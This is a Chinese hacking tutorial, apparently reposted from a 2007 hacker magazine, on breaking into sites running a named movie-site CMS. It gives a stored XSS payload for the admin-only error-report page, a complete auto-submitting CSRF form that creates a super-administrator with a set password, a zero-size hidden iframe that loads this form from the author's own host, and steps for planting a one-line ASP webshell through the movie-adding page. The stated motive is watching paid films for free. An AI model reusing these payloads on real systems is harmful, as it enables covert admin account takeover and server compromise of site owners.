跨出权限―世纪热线全站程序完美版漏洞利用

利用跨站,让管理员执行指定的动作,这个思路以前就在哪里看过,这里是个实例。

信息来源:http://www.hacklu.net
作者:樱花浪子[I.S.T]
注:本文首发于黑客手册,.转载请注明来源

06年就这样像3389离我而去,07年就像4489在迎接着我们。不知不觉又长了一岁。06年可以说是注入淡却的一年。不过新的技术也在增长。
跨站虽然算不上新的技术。但在国外也是非常重视的。其实跨站代码如果构造好的话可以干出很多事来的。这不,在网上逛到了一个电影网站。
心想如果把这个站拿下来不就可以看免费的电影了。(动机不太好呀^_^)。发现程序用的是:"世纪热线全站程序完美版"于是去百度搜一下也没发有漏
洞。那么就自己下回来慢慢研究吧。

可以说这套程序在注入方面防范的还不错。但是跨站方面好象就没有做到家了。经过仔细的查找,终于被我找到了一点软胁。首先我们先注册
个用户。一般电影网站都提供影片报错的页面。这个也不例外。我们在首页随便点击一个影片。下面有个报告错误。点一下之后会打开一个页面。
因为这个报告错误只有管理员能看,我们在报告错误里写上"<script>alert("樱花找漏洞了")</script>",如图1所示。

 

点开始报告,我们再去后台的电影管理/错误报告去看一下,跨站代码被成功执行了。如图2所示。

 

既然这个能执行,我们在来构造一些特殊的代码吧。后台有个添加管理员的,我们先来看看它的代码是怎么实现的,添加管理员的关键代码如下:
 

  
  
  
  
  1. <form method="post" action="saveuser1.asp" name="form1" onsubmit="javascript:return check();"> 
  2.  <table width="396" border="0" cellspacing="1" cellpadding="0"> 
  3.  <tr bgcolor="#0099FF"> 
  4.  <td height="25" width="392"> 
  5.  <div align="center"> 
  6.  <font size="2">新增管理员</font></div> 
  7.  </td> 
  8.  </tr> 
  9.  <tr> 
  10.  <td height="30" style="color: black; border-style: none" width="253"> 
  11.  <div align="center"> 
  12.  <font size="2">用 户 名  <input type="text" name="username" size="20"> 
  13.  </font> 
  14.  </div> 
  15.  </td> 
  16.  <td height="30" style="color: black; border-style: none" width="138"> </td> 
  17.  </tr> 
  18.  <tr> 
  19.  <td height="30" style="color: black; border-style: none" width="253"> 
  20.  <div align="center"> 
  21.  <font size="2">初始密码  <input type="password" name="newpin" size="20"> 
  22.  </font> 
  23.  </div> 
  24.  </td> 
  25.  <td height="30" style="color: black; border-style: none" width="138"> 
  26.  <span lang="zh-cn"><font size="2">数字+字母10位以上</font></span></td> 
  27.  </tr> 
  28.  <tr> 
  29.  <td height="30" style="color: black; border-style: none" width="253"> 
  30.  <div align="center"> 
  31.  <font size="2">确认密码  <input type="password" name="re_newpin" size="20"> 
  32.  </font> 
  33.  </div> 
  34.  </td> 
  35.  <td height="30" style="color: black; border-style: none" width="138"> 
  36.  <span lang="zh-cn"><font size="2">数字+字母10位以上</font></span></td> 
  37.  </tr> 
  38.  <tr> 
  39.  <td height="30" style="color: black; border-style: none" width="253"> 
  40.  <p align="center"><span lang="zh-cn">&nbsp;</span>权限设置 <span lang="zh-cn">&nbsp;  
  41.  </span><select size="1" name="flag"> 
  42.  <option selected value="4">====无管理权限====</option> 
  43.  <option value="3">====初级管理员====</option> 
  44.  <option value="2">====高级管理员====</option> 
  45.  <option value="1">====超级管理员====</option> 
  46.  </select></td> 
  47.  <td height="30" style="color: black; border-style: none" width="138"> </td> 
  48.  </tr> 
  49.  </table> 
  50.  <p><input type="submit" name="Submit" value="确定"> </p> 
  51.  </form> 

其实这个我们只在稍稍改动一下就可以了,改好的代码如下:
 

  
  
  
  
  1. <form method="post" action="http://127.0.0.1/admin/saveuser1.asp"> 
  2.  <table width="396" border="0" cellspacing="1" cellpadding="0"> 
  3.  <tr bgcolor="#0099FF"> 
  4.  <td height="25" width="392"> 
  5.  <div align="center"> 
  6.  <font size="2">新增管理员</font></div> 
  7.  </td> 
  8.  </tr> 
  9.  <tr> 
  10.  <td height="30" style="color: black; border-style: none" width="253"> 
  11.  <div align="center"> 
  12.  <font size="2">用 户 名  <input type="text" name="username" size="20" value="hacklu119"> '添加管理员名字  
  13.  </font> 
  14.  </div> 
  15.  </td> 
  16.  <td height="30" style="color: black; border-style: none" width="138"> </td> 
  17.  </tr> 
  18.  <tr> 
  19.  <td height="30" style="color: black; border-style: none" width="253"> 
  20.  <div align="center"> 
  21.  <font size="2">初始密码  <input type="password" name="newpin" size="20" value="hack11911"> '添加管理员密码  
  22.  </font> 
  23.  </div> 
  24.  </td> 
  25.  <td height="30" style="color: black; border-style: none" width="138"> 
  26.  <span lang="zh-cn"><font size="2">数字+字母10位以上</font></span></td> 
  27.  </tr> 
  28.  <tr> 
  29.  <td height="30" style="color: black; border-style: none" width="253"> 
  30.  <div align="center"> 
  31.  <font size="2">确认密码  <input type="password" name="re_newpin" size="20" value="hack11911"> '确认管理员密码  
  32.  </font> 
  33.  </div> 
  34.  </td> 
  35.  <td height="30" style="color: black; border-style: none" width="138"> 
  36.  <span lang="zh-cn"><font size="2">数字+字母10位以上</font></span></td> 
  37.  </tr> 
  38.  <tr> 
  39.  <td height="30" style="color: black; border-style: none" width="253"> 
  40.  <p align="center"><span lang="zh-cn">&nbsp;</span>权限设置 <span lang="zh-cn">&nbsp;  
  41.  </span><select size="1" name="flag"> 
  42.  <option selected value="1">====无管理权限====</option> '设置为超级管理员,注意这里是1  
  43.  <option value="3">====初级管理员====</option> 
  44.  <option value="2">====高级管理员====</option> 
  45.  <option value="1">====超级管理员====</option> 
  46.  </select></td> 
  47.  <td height="30" style="color: black; border-style: none" width="138"> </td> 
  48.  </tr> 
  49.  </table> 
  50.  <p><input type="submit" name="Submit" value="确定"> </p> 
  51.  
  52.  <p> </p> 
  53.  <p align="center"> 
  54. <script language="javascript"> '用javascript脚本叫程序自动运行  
  55. this.document.forms[0].submit()  
  56. </script> 
  57. </div> 
  58. </form> 
  59.  

最重要的就是action后的路径和最后自动运行的脚本,路径大家一定要对上。把上面的代码为hacklu.htm上传到自己的空间。然后再来到错误
报告的地方写上我们的挂马代码: <iframe src=http://www.hacklu.net/tu/hacklu.htm width=0 height=0></iframe> ,www.hacklu.net是我空
间的地址。这样管理员在看错误报告的时候就会添加一个名为:hacklu119的超级管理员。如图3、图4所示。

 

 

其实我们还可以构造备份WEBSHELL什么的,只是这个后台没有备份数据库的功能。所以得到WEBSHELL有一定的困难。刚开始我在添加电影的地
方上传ASP木马。又是抓名又是改扩展名的,可惜还没有成功。后来不经意发现原来这个数据库是ASP的,那么就好办了。只接在添加电影的地方
写上我们的一句话的ASP木马,如图5所示。

 

最后添加一下我们用客户端连接 http://127.0.0.1/data/jdzcn.asp 如图6所示,连接成功后会生成killbase.asp文件。最后成功得到WEBSHELL。见图7。

 

 

不过如果数据库改了名字的话,那么得WEBSHELL就不容易了。最后欢迎大家到NOHACK/BBS和我交流。我的ID是樱花浪子。 < type="text/javascript"> < src=\'#\'" href="http://pagead2.googlesyndication.com/pagead/show_ads.js">http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript">

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/linkboy2004/archive/2007/04/15/1565483.aspx

你可能感兴趣的:(漏洞,权限,世纪,热线,全站)